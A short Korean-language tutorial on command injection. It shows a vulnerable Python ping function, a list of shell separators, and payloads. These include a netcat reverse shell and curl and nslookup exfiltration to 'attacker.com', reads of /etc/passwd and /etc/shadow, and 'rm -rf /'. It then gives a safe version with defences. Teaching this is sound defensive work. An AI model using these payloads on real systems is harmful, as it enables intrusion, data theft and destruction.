커맨드 인젝션(Command Injection)은 공격자가 OS 명령어를 애플리케이션에 주입하여 서버에서 임의 명령을 실행하는 취약점이다. 웹 취약점 중 가장 심각한 수준으로, 서버 전체 장악, 데이터 탈취, 랜섬웨어 설치까지 가능하다.
취약한 코드 예시
python
# 취약한 코드 - 사용자 입력을 셸에 직접 전달
import subprocess
def ping_host(host):
result = subprocess.run(f"ping -c 4 {host}", shell=True, capture_output=True)
return result.stdout
# 공격:
# host = "8.8.8.8; cat /etc/passwd"
# host = "8.8.8.8 && rm -rf /"
# host = "8.8.8.8 | nc attacker.com 4444 -e /bin/bash"
주요 페이로드
bash
# 명령 구분자
; # 순차 실행
&& # 앞 성공 시 실행
|| # 앞 실패 시 실행
| # 파이프
`cmd` # 명령 치환
$(cmd) # 명령 치환
# 예시 페이로드
8.8.8.8; whoami
8.8.8.8 && cat /etc/shadow
8.8.8.8 | curl http://attacker.com/$(cat /etc/passwd | base64)
Blind Command Injection
명령 실행 결과가 응답에 나타나지 않는 경우:
bash
# 시간 기반 탐지
8.8.8.8; sleep 10
# Out-of-Band (DNS)
8.8.8.8; nslookup $(whoami).attacker.com
# Out-of-Band (HTTP)
8.8.8.8; curl http://attacker.com/?data=$(id | base64)
방어 방법
python
# 안전한 코드 - shell=False + 인자 분리
import subprocess
def ping_host_safe(host: str) -> bytes:
# shell=False: 셸을 거치지 않음
# 인자를 리스트로 분리: 명령어 인젝션 불가
result = subprocess.run(
["ping", "-c", "4", host],
shell=False,
capture_output=True,
timeout=10
)
return result.stdout
# 추가 검증
import re
def validate_host(host: str) -> bool:
# 도메인/IP만 허용
pattern = r'^[a-zA-Z0-9.-]+$'
return bool(re.match(pattern, host))
| 방어책 | 설명 |
|---|
| 셸 사용 금지 | shell=False, execv() 사용 |
| 인자 분리 | 명령어와 인자를 배열로 전달 |
| 입력 검증 | 허용 문자만 허용 (허용 목록) |
| 최소 권한 | 웹 서버를 root로 실행 금지 |
관련 개념